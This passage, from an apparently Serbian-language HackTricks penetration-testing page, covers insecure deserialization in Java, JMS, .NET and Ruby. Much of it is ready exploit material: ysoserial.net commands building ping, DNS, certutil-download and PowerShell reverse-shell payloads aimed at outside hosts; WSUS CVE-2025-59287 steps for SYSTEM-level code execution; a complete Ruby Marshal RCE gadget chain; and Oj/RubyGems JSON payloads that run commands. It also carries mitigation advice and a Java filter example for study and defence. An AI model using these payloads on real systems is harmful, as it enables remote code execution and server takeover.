Ovo pruža način da se dinamički osigura deserializacija, idealno za okruženja gde su trenutne izmene koda nepraktične.
Pogledajte primer u rO0 by Contrast Security
Implementacija filtera serijalizacije: Java 9 je uveo filtere serijalizacije putem interfejsa ObjectInputFilter, pružajući moćan mehanizam za navođenje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deserializovani. Ovi filteri se mogu primeniti globalno ili po streamu, nudeći granularnu kontrolu nad procesom deserializacije.
Da biste koristili filtere serijalizacije, možete postaviti globalni filter koji se primenjuje na sve operacije deserializacije ili ga dinamički konfigurisati za određene streamove. Na primer:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Korišćenje eksternih biblioteka za poboljšanu bezbednost: Biblioteke kao što su NotSoSerial, jdeserialize i Kryo nude napredne funkcije za kontrolu i nadzor Java deserializacije. Ove biblioteke mogu pružiti dodatne slojeve zaštite, kao što su bele liste ili crne liste klasa, analiza serializovanih objekata pre deserializacije i implementacija prilagođenih strategija serializacije.
- NotSoSerial presreće procese deserializacije kako bi sprečio izvršavanje nepouzdanog koda.
- jdeserialize omogućava analizu serializovanih Java objekata bez njihovog deserializovanja, pomažući u identifikaciji potencijalno zlonamernog sadržaja.
- Kryo je alternativni framework za serializaciju koji naglašava brzinu i efikasnost, nudeći konfigurisane strategije serializacije koje mogu poboljšati bezbednost.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API je Java message-oriented middleware API za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje producer–consumer problema. JMS je deo Java Platform, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, ali kojom od tada upravlja Java Community Process. To je standard za messaging koji omogućava Java EE komponentama aplikacija da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude slabo povezana, pouzdana i asinkrona. (From Wikipedia).
Products
There are several products using this middleware to send messages:
.png)
.png)
Exploitation
Dakle, u osnovi postoji puno servisa koji koriste JMS na nesiguran način. Stoga, ako imate dovoljno privilegija da pošaljete poruke tim servisima (obično će vam trebati validni kredencijali) mogli biste poslati maliciozne serializovane objekte koji će biti deserializovani od strane consumer/subscriber-a.
Ovo znači da će u ovoj eksploataciji svi klijenti koji budu koristili tu poruku biti inficirani.
Treba imati na umu da čak i ako je servis ranjiv (jer nesigurno deserializuje korisnički unos), i dalje morate pronaći validne gadgete da biste iskoristili ranjivost.
Alat JMET je napravljen da poveže i napadne ove servise slanjem nekoliko malicioznih serializovanih objekata koristeći poznate gadgete. Ovi exploit-i će raditi ako je servis i dalje ranjiv i ako se bilo koji od korišćenih gadgeta nalazi u ranjivoj aplikaciji.
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
U kontekstu .Net-a, deserialization exploit-i funkcionišu slično kao i oni u Java-i, gde se gadgeti zloupotrebljavaju da pokrenu određeni kod tokom deserializacije objekta.
Fingerprint
WhiteBox
Izvorni kod treba pregledati u potrazi za pojavljivanjima:
TypeNameHandlingJavaScriptTypeResolver
Fokus treba biti na serializer-ima koji dozvoljavaju da tip bude određen promenljivom pod kontrolom korisnika.
BlackBox
Pretraga bi trebala ciljano tražiti Base64 enkodovani string AAEAAAD///// ili bilo koji sličan obrazac koji može biti deserializovan na serverskoj strani, dajući kontrolu nad tipom koji će biti deserializovan. Ovo može obuhvatiti, ali nije ograničeno na, JSON ili XML strukture koje sadrže TypeObject ili $type.
ysoserial.net
U ovom slučaju možete koristiti alat ysoserial.net da kreirate deserialization exploit-e. Kada preuzmete git repozitorijum, treba da kompajlirate alat koristeći, na primer, Visual Studio.
Ako želite da saznate kako ysoserial.net kreira svoj exploit možete pogledati ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
The main options of ysoserial.net are: --gadget, --formatter, --output and --plugin.
--gadgetse koristi da označi gadget koji će se zloupotrebiti (naznačiti klasu/funkciju koja će biti zloupotrebljena tokom deserializacije da izvrši komande).--formatterkoristi se da naznači metodu za serializaciju exploita (morate znati koju biblioteku back-end koristi da deserializuje payload i koristiti istu za serializaciju).--outputse koristi da naznači da li želite exploit u raw ili base64 enkodiranom obliku. Imajte u vidu da ysoserial.net enkodira payload koristeći UTF-16LE (enkodiranje koje se podrazumevano koristi na Windows-u), tako da ako dobijete raw i samo ga enkodirate iz linux konzole možda ćete imati neke probleme sa kompatibilnošću enkodiranja koji će sprečiti da exploit radi ispravno (u HTB JSON boxu payload je radio i u UTF-16LE i u ASCII, ali to ne znači da će uvek raditi).--pluginysoserial.net podržava plugin-ove za kreiranje exploits za specifične framework-e kao što je ViewState
More ysoserial.net parameters
--minifyće obezbediti a manji payload (ako je moguće)--raf -f Json.Net -c "anything"Ovo će navesti sve gadgete koji se mogu koristiti sa datim formatter-om (Json.Netu ovom slučaju)--sf xmlmožete naznačiti gadget (-g) i ysoserial.net će pretražiti formatter-e koji sadrže “xml” (case insensitive)
ysoserial examples za kreiranje exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net ima takođe veoma interesantan parametar koji pomaže da se bolje razume kako svaki exploit funkcioniše: --test
Ako navedete ovaj parametar ysoserial.net će pokušati exploit lokalno, tako da možete testirati da li će vaš payload raditi ispravno.
Ovaj parametar je koristan zato što, ako pregledate kod, naći ćete delove koda kao u sledećem primeru (iz ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Ovo znači da će, da bi se testirao exploit, kod pozvati serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
Prethodni kod je ranjiv na kreirani exploit. Dakle, ako nađete nešto slično u .Net aplikaciji, to verovatno znači da je i ta aplikacija ranjiva.
Zato --test parametar omogućava da razumemo koji delovi koda su ranjivi na deserialization exploit koji ysoserial.net može kreirati.
ViewState
Pogledajte ovu objavu o kako pokušati iskoristiti __ViewState parametar .Net to izvršiti proizvoljni kod. Ako već znate tajne koje koristi žrtvina mašina, pročitajte ovu objavu da biste znali kako izvršiti kod.
Stvarni primer sinka: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- Affected endpoints:
/SimpleAuthWebService/SimpleAuth.asmx→ GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter./ReportingWebService.asmx→ ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.- Root cause: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).
Minimalna eksploatacija (Reporting path):
- Generišite .NET gadget pomoću ysoserial.net (BinaryFormatter ili SoapFormatter) i ispišite base64, na primer:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
- Kreirajte SOAP za
ReportEventBatchubacujući base64 gadget i POST-ujte ga na/ReportingWebService.asmx. - Kada admin otvori WSUS konzolu, događaj se deserializuje i gadget se aktivira (RCE as SYSTEM).
AuthorizationCookie / GetCookie()
- Lažiran AuthorizationCookie može biti prihvaćen, dekriptovan i prosleđen BinaryFormatter sink-u, omogućavajući pre‑auth RCE ako je dostupan.
Javni PoC (tecxx/CVE-2025-59287-WSUS) parametri:
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
Vidi Windows Local Privilege Escalation – WSUS
Prevencija
Da biste umanjili rizike povezane sa deserialization u .Net:
- Izbegavajte dozvoljavanje da tokovi podataka definišu svoje tipove objekata. Koristite
DataContractSerializeriliXmlSerializerkad je moguće. - Za
JSON.Net, podesiteTypeNameHandlingnaNone:TypeNameHandling = TypeNameHandling.None - Izbegavajte korišćenje
JavaScriptSerializersaJavaScriptTypeResolver. - Ograničite tipove koji se mogu deserializovati, razumevajući inherentne rizike sa .Net tipovima, kao što je
System.IO.FileInfo, koji može menjati svojstva fajlova na serveru, potencijalno dovodeći do denial of service attacks. - Budite oprezni sa tipovima koji imaju rizična svojstva, kao što je
System.ComponentModel.DataAnnotations.ValidationExceptionsa svojstvomValue, koje može biti iskorišćeno. - Sigurno kontrolišite instanciranje tipova kako biste sprečili da napadači utiču na proces deserializacije, čineći čak i
DataContractSerializeriliXmlSerializerranjivim. - Implementirajte kontrole bele liste koristeći custom
SerializationBinderzaBinaryFormatteriJSON.Net. - Budite informisani o poznatim insecure deserialization gadgets unutar .Net-a i osigurajte da deserializeri ne instanciraju takve tipove.
- Izolujte potencijalno rizičan kod od koda sa internet pristupom kako biste izbegli izlaganje poznatih gadgets, kao što je
System.Windows.Data.ObjectDataProvideru WPF aplikacijama, nepouzdanim izvorima podataka.
Reference
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
U Ruby-ju, serializacija se obavlja pomoću dve metode unutar biblioteke marshal. Prva metoda, poznata kao dump, koristi se za transformaciju objekta u niz bajtova — ovaj proces se naziva serializacija. Suprotno tome, druga metoda, load, se koristi za vraćanje niza bajtova nazad u objekat — proces poznat kao deserializacija.
Za zaštitu serializovanih objekata, Ruby koristi HMAC (Hash-Based Message Authentication Code), obezbeđujući integritet i autentičnost podataka. Ključ koji se koristi za ovu svrhu se čuva na jednoj od sledećih lokacija:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/**):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Još jedan RCE chain to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() metoda
Kao što je objašnjeno u this vulnerability report, ako neki nesanitizovani korisnički unos stigne do .send() metode ruby objekta, ova metoda dozvoljava da se pozove bilo koja druga metoda objekta sa bilo kojim parametrima.
Na primer, pozivanjem eval i prosleđivanjem ruby code kao drugog parametra moguće je izvršiti proizvoljan code:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Štaviše, ako je samo jedan parametar od .send() pod kontrolom napadača, kao što je pomenuto u prethodnom writeupu, moguće je pozvati bilo koji metod objekta koji ne zahteva argumente ili čiji argumenti imaju podrazumevane vrednosti.
Za ovo je moguće enumerisati sve metode objekta kako bi se pronašle neke zanimljive metode koje ispunjavaju te zahteve.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Pogledaj kako je moguće pollute a Ruby class and abuse it in here.
Ruby _json pollution
Kada se u body pošalju vrednosti koje se ne mogu hash-ovati, kao niz, biće dodate u novi ključ nazvan _json. Međutim, moguće je da napadač takođe postavi u body vrednost nazvanu _json sa proizvoljnim vrednostima koje želi. Ako backend, na primer, proverava verodostojnost nekog parametra, ali zatim takođe koristi _json parametar za izvršenje neke akcije, može doći do zaobilaženja autorizacije.
Pogledaj više informacija na Ruby _json pollution page.
Ostale biblioteke
Ova tehnika je preuzeta iz ovog blog posta.
Postoje i druge Ruby biblioteke koje se mogu koristiti za serializaciju objekata i koje bi se stoga mogle zloupotrebiti za dobijanje RCE tokom nesigurne deserializacije. Sledeća tabela prikazuje neke od ovih biblioteka i metodu koja se poziva iz učitane klase kad se deserializuje (funkcija koju treba zloupotrebiti da bi se dobio RCE):
| Biblioteka | Ulazni podaci | Metoda koja se pokreće unutar klase |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (klasa mora biti postavljena u hash(map) kao ključ) |
| Ox | XML | hash (klasa mora biti postavljena u hash(map) kao ključ) |
| Psych (Ruby) | YAML | hash (klasa mora biti postavljena u hash(map) kao ključ)init_with |
| JSON (Ruby) | JSON | json_create ([pogledajte napomene o json_create na kraju](#table-vulnerable-sinks)) |
Basic example:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget class čija hash funkcija poziva to_s, koja poziva spec, koja poziva fetch_path, što se moglo iskoristiti da se učita nasumičan URL, dajući odličan detektor za ovakve unsanitized deserialization vulnerabilities.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Štaviše, utvrđeno je da prethodnom tehnikom u sistemu bude kreiran i folder, što je preduslov za zloupotrebu drugog gadgeta kako bi se ovo pretvorilo u potpuni RCE sa nečim poput:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Za više detalja pogledajte originalni post.
Bootstrap Caching
Nije zapravo deserialization vuln, ali lep trik da se zloupotrebi bootstrap keširanje kako bi se dobio RCE iz Rails aplikacije uz arbitrary file write (pronađite kompletan originalni post ovde).
Ispod je kratak rezime koraka iz članka za eksploataciju arbitrary file write ranjivosti zloupotrebom Bootsnap keširanja:
- Identify the Vulnerability and Environment
Funkcionalnost za upload fajlova u Rails aplikaciji omogućava napadaču da proizvoljno piše fajlove. Iako aplikacija radi sa ograničenjima (samo određeni direktorijumi poput tmp su zapisivi zbog Docker-ovog non-root korisnika), to i dalje omogućava upis u Bootsnap cache direktorijum (obično pod tmp/cache/bootsnap).
- Understand Bootsnap’s Cache Mechanism
Bootsnap ubrzava podizanje Rails-a keširanjem compiled Ruby code, YAML i JSON fajlova. Čuva cache fajlove koji sadrže cache key header (sa poljima kao što su Ruby version, file size, mtime, compile options, itd.) nakon čega sledi compiled code. Ovaj header se koristi za validaciju keša prilikom pokretanja aplikacije.
- Gather File Metadata
Napadač prvo odabere ciljnu datoteku koja se verovatno učitava tokom Rails startup-a (na primer, set.rb iz Ruby standardne biblioteke). Izvršavanjem Ruby koda unutar containera izvlače kritične metapodatke (kao što su RUBY_VERSION, RUBY_REVISION, size, mtime i compile_option). Ovi podaci su neophodni za kreiranje validnog cache key-a.
- Compute the Cache File Path
Reprodukujući Bootsnap-ov FNV-1a 64-bit hash mehanizam određuje se tačna putanja cache fajla. Ovaj korak osigurava da je zlonamerni cache fajl smešten upravo tamo gde Bootsnap očekuje (npr. pod tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File
Napadač priprema payload koji:
- Izvršava arbitrary commands (na primer, pokretanje id da bi se prikazale informacije o procesu).
- Uklanja zlonamerni cache nakon izvršenja da bi se sprečila rekurzivna eksploatacija.
- Učitava originalni fajl (npr. set.rb) kako bi se izbegao crash aplikacije.
Ovaj payload se kompajlira u binary Ruby code i konkatenira sa pažljivo konstruisanim cache key header-om (koristeći prethodno prikupljene metapodatke i tačan version number za Bootsnap).
- Overwrite and Trigger Execution
Koristeći arbitrary file write ranjivost, napadač upisuje kreirani cache fajl na izračunatu lokaciju. Zatim pokreću restart servera (upisom u tmp/restart.txt, koji nadgleda Puma). Tokom restarta, kada Rails requires ciljanu datoteku, zlonamerni cache fajl se učitava, što rezultira remote code execution (RCE).
Ruby Marshal exploitation in practice (updated)
Smatrajte svaki put kojim nepouzdani bajtovi dopru do Marshal.load/marshal_load kao RCE sink. Marshal rekonstruiše arbitrary object graphs i pokreće library/gem callbacks tokom materializacije.
- Minimalni ranjivi Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Uobičajene klase gadget viđene u stvarnim lancima:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - Tipičan side-effect marker ugrađen u payloads (izvršava se tokom unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Where it surfaces in real apps:
- Rails cache stores i session stores koji su istorijski koristili Marshal
- Background job backends i file-backed object stores
- Bilo koja prilagođena persistence ili transport binary object blobs
Industrialized gadget discovery:
- Grepaj za constructors,
hash,_load,init_with, ili metode sa side-effect-om koje se pozivaju tokom unmarshal - Koristi CodeQL’s Ruby unsafe deserialization queries da pratiš sources → sinks i identifikuješ gadgete
- Validiraj pomoću public multi-format PoC-ova (JSON/XML/YAML/Marshal)
References
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC – tecxx/CVE-2025-59287-WSUS
- RSC Report Lab – CVE-2025-55182 (React 19.2.0)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


